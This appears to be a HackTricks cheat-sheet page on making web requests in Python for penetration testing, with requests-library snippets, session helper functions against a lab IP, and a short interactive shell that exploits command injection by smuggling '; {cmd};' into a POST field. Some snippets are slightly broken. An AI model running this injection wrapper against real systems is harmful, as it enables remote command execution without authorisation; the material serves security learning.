# Web Requests
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## Python Requests
```python
import requests
url = "http://example.com:80/some/path.php"
params = {"p1":"value1", "p2":"value2"}
headers = {"User-Agent": "fake User Agent", "Fake header": "True value"}
cookies = {"PHPSESSID": "1234567890abcdef", "FakeCookie123": "456"}
proxies = {'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'}
#Regular Get requests sending parameters (params)
gr = requests.get(url, params=params, headers=headers, cookies=cookies, verify=False, allow_redirects=True)
code = gr.status_code
ret_headers = gr.headers
body_byte = gr.content
body_text = gr.text
ret_cookies = gr.cookies
is_redirect = gr.is_redirect
is_permanent_redirect = gr.is_permanent_redirect
float_seconds = gr.elapsed.total_seconds() 10.231
#Regular Post requests sending parameters (data)
pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=True, proxies=proxies)
#Json Post requests sending parameters(json)
pr = requests.post(url, json=params, headers=headers, cookies=cookies, verify=False, allow_redirects=True, proxies=proxies)
#Post request sending a file(files) and extra values
filedict = {"" : ("filename.png", open("filename.png", 'rb').read(), "image/png")}
pr = requests.post(url, data={"submit": "submit"}, files=filedict)
#Useful for presenting results in boolean/time based injections
print(f"\rflag: {flag}{char}", end="")
##### Example Functions
target = "http://10.10.10.10:8000"
proxies = {}
s = requests.Session()
def register(username, password):
resp = s.post(target + "/register", data={"username":username, "password":password, "submit": "Register"}, proxies=proxies, verify=0)
return resp
def login(username, password):
resp = s.post(target + "/login", data={"username":username, "password":password, "submit": "Login"}, proxies=proxies, verify=0)
return resp
def get_info(name):
resp = s.post(target + "/projects", data={"name":name, }, proxies=proxies, verify=0)
guid = re.match('' + name + '', resp.text)[1]
return guid
def upload(guid, filename, data):
resp = s.post(target + "/upload/" + guid, data={"submit": "upload"}, files={"file":(filename, data)}, proxies=proxies, verify=0)
guid = re.match('"' + filename + '": "([^"]*)"', resp.text)[1]
return guid
def json_search(guid, search_string):
resp = s.post(target + "/api/search/" + guid + "/", json={"search":search_string}, headers={"Content-Type": "application/json"}, proxies=proxies, verify=0)
return resp.json()
def get_random_string(guid, path):
return ''.join(random.choice(string.ascii_letters) for i in range(10))
```
## Python cmd to exploit an RCE
```python
import requests
import re
from cmd import Cmd
class Terminal(Cmd):
prompt = "Inject => "
def default(self, args):
output = RunCmd(args)
print(output)
def RunCmd(cmd):
data = { 'db': f'lol; echo -n "MYREGEXP"; {cmd}; echo -n "MYREGEXP2"' }
r = requests.post('http://10.10.10.127/select', data=data)
page = r.text
m = re.search('MYREGEXP(.*?)MYREGEXP2', page, re.DOTALL)
if m:
return m.group(1)
else:
return 1
term = Terminal()
term.cmdloop()
```
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☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
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* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
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